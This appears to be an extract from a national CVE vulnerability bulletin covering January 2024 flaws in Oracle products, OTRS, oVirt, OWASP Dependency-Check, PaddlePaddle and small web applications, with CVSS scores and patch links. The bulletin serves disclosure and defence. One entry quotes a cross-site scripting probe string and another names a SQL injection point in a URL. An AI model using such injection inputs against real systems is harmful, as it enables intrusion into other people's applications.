N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/927

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20977**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: UDF). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/A	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/928

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			C:L/PR:L/UI:N/S:U /C:N/I:N/A:H). **CVE ID : CVE-2024-20985**		
N/A	16-Jan-2024	5.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/929

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). **CVE ID : CVE-2024-20967**		
N/A	16-Jan-2024	5.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/930

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). **CVE ID : CVE-2024-20969**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector:	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/931

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20965**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/932

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20971		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20981**	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/933
Affected Version(s): From (including) 8.0.0 Up to (including) 8.2.0					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20975**	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/934
Affected Version(s): From (including) 8.1.0 Up to (including) 8.2.0					
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component:	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/935

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20961**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: Encryption). Supported versions that are affected	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/936

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20963**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/937

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20973**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/938

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20977**		
N/A	16-Jan-2024	6.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: UDF). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows low privileged attacker with network access via multiple protocols to compromise MySQL Server.	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/939

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 6.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20985**		
N/A	16-Jan-2024	5.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Replication). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/940

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). **CVE ID : CVE-2024-20967**		
N/A	16-Jan-2024	5.5	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/941

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server as well as unauthorized update, insert or delete access to some of MySQL Server accessible data. CVSS 3.1 Base Score 5.5 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). **CVE ID : CVE-2024-20969**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/942

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20965**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/943

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20971**		
N/A	16-Jan-2024	4.9	Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DDL). Supported versions that are affected are 8.0.35 and prior and 8.2.0 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-MYSQ-140224/944

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20981**		
Product: one-to-one_fulfillment					
Affected Version(s): From (including) 12.2.3 Up to (including) 12.2.13					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Documents). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle One-to-One Fulfillment, attacks	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-ONE--140224/945

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle One-to-One Fulfillment accessible data as well as unauthorized read access to a subset of Oracle One-to-One Fulfillment accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20936**		
Product: outside_in_technology					
Affected Version(s): 8.5.6					
N/A	16-Jan-2024	6.3	Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Content Access SDK, Image Export SDK, PDF Export SDK, HTML Export	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-OUTS-140224/946

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			SDK). The supported version that is affected is 8.5.6. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Outside In Technology accessible data as well as unauthorized read access to a subset of Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 6.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/A		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			C:L/PR:L/UI:N/S:U /C:L/I:L/A:L). **CVE ID : CVE-2024-20930**		
Product: solaris					
Affected Version(s): 11					
N/A	16-Jan-2024	5.5	Vulnerability in the Oracle Solaris product of Oracle Systems (component: Kernel). The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Solaris. CVSS 3.1 Base Score 5.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC :L/PR:L/UI:N/S:U/ C:N/I:N/A:H).	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-SOLA-140224/947

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20946		
N/A	16-Jan-2024	3.8	Vulnerability in the Oracle Solaris product of Oracle Systems (component: Filesystem). The supported version that is affected is 11. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Solaris accessible data. CVSS 3.1 Base Score 3.8 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N).	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-SOLA-140224/948

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20920		
Product: webcenter_content					
Affected Version(s): 12.2.1.4.0					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle WebCenter Content product of Oracle Fusion Middleware (component: Content Server). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Content. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Content, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-WEBC-140224/949

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			delete access to some of Oracle WebCenter Content accessible data as well as unauthorized read access to a subset of Oracle WebCenter Content accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20928**		
Product: webcenter_sites					
Affected Version(s): 12.2.1.4.0					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: Advanced UI). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-WEBC-140224/950

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			require human interaction from a person other than the attacker and while the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle WebCenter Sites accessible data as well as unauthorized read access to a subset of Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20908**		
Product: zfs_storage_appliance_kit					
Affected Version(s): 8.8					
N/A	16-Jan-2024	4.4	Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle	https://www.oracle.com/security-	A-ORA-ZFS_-140224/951

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Systems (component: Core). The supported version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle ZFS Storage Appliance Kit executes to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle ZFS Storage Appliance Kit. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). **CVE ID : CVE-2024-20959**	alerts/cpujan2024.html	
N/A	16-Jan-2024	2.3	Vulnerability in the Oracle ZFS Storage Appliance Kit product of Oracle Systems (component: Core). The supported	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-ZFS_-140224/952

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			version that is affected is 8.8. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle ZFS Storage Appliance Kit executes to compromise Oracle ZFS Storage Appliance Kit. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle ZFS Storage Appliance Kit accessible data. CVSS 3.1 Base Score 2.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N). **CVE ID : CVE-2024-20914**		
Vendor: oretnom23					
Product: budget_and_expense_tracker_system					
Affected Version(s): 1.0					
Improper Neutralization of Special Elements used in an SQL	16-Jan-2024	7.2	Budget and Expense Tracker System v1.0 is vulnerable to SQL Injection via /expense_budget/admin/?page=repor	N/A	A-ORE-BUDG-140224/953

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Command ('SQL Injection')			ts/budget&date_start=2023-12-28&date_end= **CVE ID : CVE-2024-22628**		
Product: visitor_management_system					
Affected Version(s): 1.0					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	18-Jan-2024	6.1	A vulnerability was found in Project Worlds Visitor Management System 1.0. It has been classified as problematic. Affected is an unknown function of the file dataset.php of the component URL Handler. The manipulation of the argument name with the input "><script>alert('torada')</script> leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251376. **CVE ID : CVE-2024-0650**	N/A	A-ORE-VISI-140224/954
Vendor: orthanc-server					
Product: orthanc					
Affected Version(s): * Up to (excluding) 1.12.2					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	24-Jan-2024	6.1	Orthanc versions before 1.12.2 are affected by a reflected cross-site scripting (XSS) vulnerability. The vulnerability was present in the server's error reporting. **CVE ID : CVE-2024-22725**	https://orthanc.uclouvain.be/hg/orthanc/file/Orthanc-1.12.2/NEWS, https://orthanc.uclouvain.be/hg/orthanc/rev/505416b269a0	A-ORT-ORTH-140224/955
Product: osimis_web_viewer					
Affected Version(s): 1.4.2.0-9d9eff4					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	23-Jan-2024	6.1	A XSS payload can be uploaded as a DICOM study and when a user tries to view the infected study inside the Osimis WebViewer the XSS vulnerability gets triggered. If exploited, the attacker will be able to execute arbitrary JavaScript code inside the victim's browser. **CVE ID : CVE-2023-7238**	N/A	A-ORT-OSIM-140224/956
Vendor: Otrs					
Product: otrs					
Affected Version(s): From (including) 7.0.0 Up to (excluding) 7.0.49					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Validation of Integrity Check Value	29-Jan-2024	9.8	Improper Input Validation vulnerability in the upload functionality for user avatars allows functionality misuse due to missing check of filetypes. This issue affects OTRS: from 7.0.X through 7.0.48, from 8.0.X through 8.0.37, from 2023 through 2023.1.1. **CVE ID : CVE-2024-23790**	https://otrs.com/release-notes/otrs-security-advisory-2024-01/	A-OTR-OTRS-140224/957
Insertion of Sensitive Information into Log File	29-Jan-2024	7.5	Insertion of debug information into log file during building the elastic search index allows reading of sensitive information from articles.This issue affects OTRS: from 7.0.X through 7.0.48, from 8.0.X through 8.0.37, from 2023.X through 2023.1.1. **CVE ID : CVE-2024-23791**	https://otrs.com/release-notes/otrs-security-advisory-2024-02/	A-OTR-OTRS-140224/958
Improper Authentication	29-Jan-2024	6.5	When adding attachments to ticket comments,	https://otrs.com/release-notes/otrs-	A-OTR-OTRS-140224/959

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			another user can add attachments as well impersonating the orginal user. The attack requires a logged-in other user to know the UUID. While the legitimate user completes the comment, the malicious user can add more files to the comment. This issue affects OTRS: from 7.0.X through 7.0.48, from 8.0.X through 8.0.37, from 2023.X through 2023.1.1. **CVE ID : CVE-2024-23792**	security-advisory-2024-03/	
Affected Version(s): From (including) 8.0.0 Up to (excluding) 2024.1.1					
Improper Validation of Integrity Check Value	29-Jan-2024	9.8	Improper Input Validation vulnerability in the upload functionality for user avatars allows functionality misuse due to missing check of filetypes. This issue affects OTRS: from 7.0.X	https://otrs.com/release-notes/otrs-security-advisory-2024-01/	A-OTR-OTRS-140224/960

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			through 7.0.48, from 8.0.X through 8.0.37, from 2023 through 2023.1.1. **CVE ID : CVE-2024-23790**		
Insertion of Sensitive Information into Log File	29-Jan-2024	7.5	Insertion of debug information into log file during building the elastic search index allows reading of sensitive information from articles.This issue affects OTRS: from 7.0.X through 7.0.48, from 8.0.X through 8.0.37, from 2023.X through 2023.1.1. **CVE ID : CVE-2024-23791**	https://otrs.com/release-notes/otrs-security-advisory-2024-02/	A-OTR-OTRS-140224/961
Improper Authentication	29-Jan-2024	6.5	When adding attachments to ticket comments, another user can add attachments as well impersonating the orginal user. The attack requires a logged-in other user to know the UUID. While the legitimate user	https://otrs.com/release-notes/otrs-security-advisory-2024-03/	A-OTR-OTRS-140224/962

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			completes the comment, the malicious user can add more files to the comment. This issue affects OTRS: from 7.0.X through 7.0.48, from 8.0.X through 8.0.37, from 2023.X through 2023.1.1. **CVE ID : CVE-2024-23792**		
Vendor: Ovirt					
Product: ovirt-engine					
Affected Version(s): -					
Improper Authentication	25-Jan-2024	7.5	An authentication bypass vulnerability was found in overt-engine. This flaw allows the creation of users in the system without authentication due to a flaw in the CreateUserSession command. **CVE ID : CVE-2024-0822**	N/A	A-OVI-OVIR-140224/963
Vendor: Owasp					
Product: dependency-check					
Affected Version(s): From (including) 9.0.0 Up to (excluding) 9.0.6					
Insertion of Sensitive	19-Jan-2024	5.3	DependencyCheck for Maven 9.0.0 to	https://github.com/jeremylong	A-OWA-DEPE-140224/964

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Information into Log File			9.0.6, for CLI version 9.0.0 to 9.0.5, and for Ant versions 9.0.0 to 9.0.5, when used in debug mode, allows an attacker to recover the NVD API Key from a log file. **CVE ID : CVE-2024-23686**	/DependencyCheck/security/advisories/GHSA-qqhq-8r2c-c3f5	
Affected Version(s): From (including) 9.0.0 Up to (including) 9.0.5					
Insertion of Sensitive Information into Log File	19-Jan-2024	5.3	DependencyCheck for Maven 9.0.0 to 9.0.6, for CLI version 9.0.0 to 9.0.5, and for Ant versions 9.0.0 to 9.0.5, when used in debug mode, allows an attacker to recover the NVD API Key from a log file. **CVE ID : CVE-2024-23686**	https://github.com/jeremylong/DependencyCheck/security/advisories/GHSA-qqhq-8r2c-c3f5	A-OWA-DEPE-140224/965
Vendor: paddlepaddle					
Product: paddle					
Affected Version(s): *					
Improper Control of Generation of Code ('Code Injection')	20-Jan-2024	7.8	Code Injection in paddlepaddle/paddle **CVE ID : CVE-2024-0521**	https://huntr.com/bounties/a569c64b-1e2b-4bed-a19f-47fd5a3da453	A-PAD-PADD-140224/966

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: patrickposner					
Product: qyrr					
Affected Version(s): * Up to (excluding) 0.7					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	16-Jan-2024	5.4	The Qyrr WordPress plugin before 0.7 does not escape the data-uri of the QR Code when outputting it in a src attribute, allowing for Cross-Site Scripting attacks. Furthermore, the data_uri_to_meta AJAX action, available to all authenticated users, only had a CSRF check in place, with the nonce available to users with a role as low as Contributor allowing any user with such role (and above) to set a malicious data-uri in arbitrary QR Code posts, leading to a Stored Cross-Site Scripting issue. **CVE ID : CVE-2021-24559**	N/A	A-PAT-QYRR-140224/967
Vendor: paulclark					
Product: styles					
Affected Version(s): * Up to (including) 1.2.3					
Server-Side Request	19-Jan-2024	9.8	Server-Side Request Forgery (SSRF) vulnerability in	N/A	A-PAU-STYL-140224/968

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Forgery (SSRF)			Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP – Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet – A virtual wallet for WooCommerce, Long Watch Studio WooVIP – Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply – Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder – Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet – A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP – Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply – Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder – Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU:		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			from n/a through 2.6. **CVE ID : CVE-2022-40700**		
Vendor: paulgriffinpetty					
Product: wp_plugin_lister					
Affected Version(s): * Up to (including) 2.1.0					
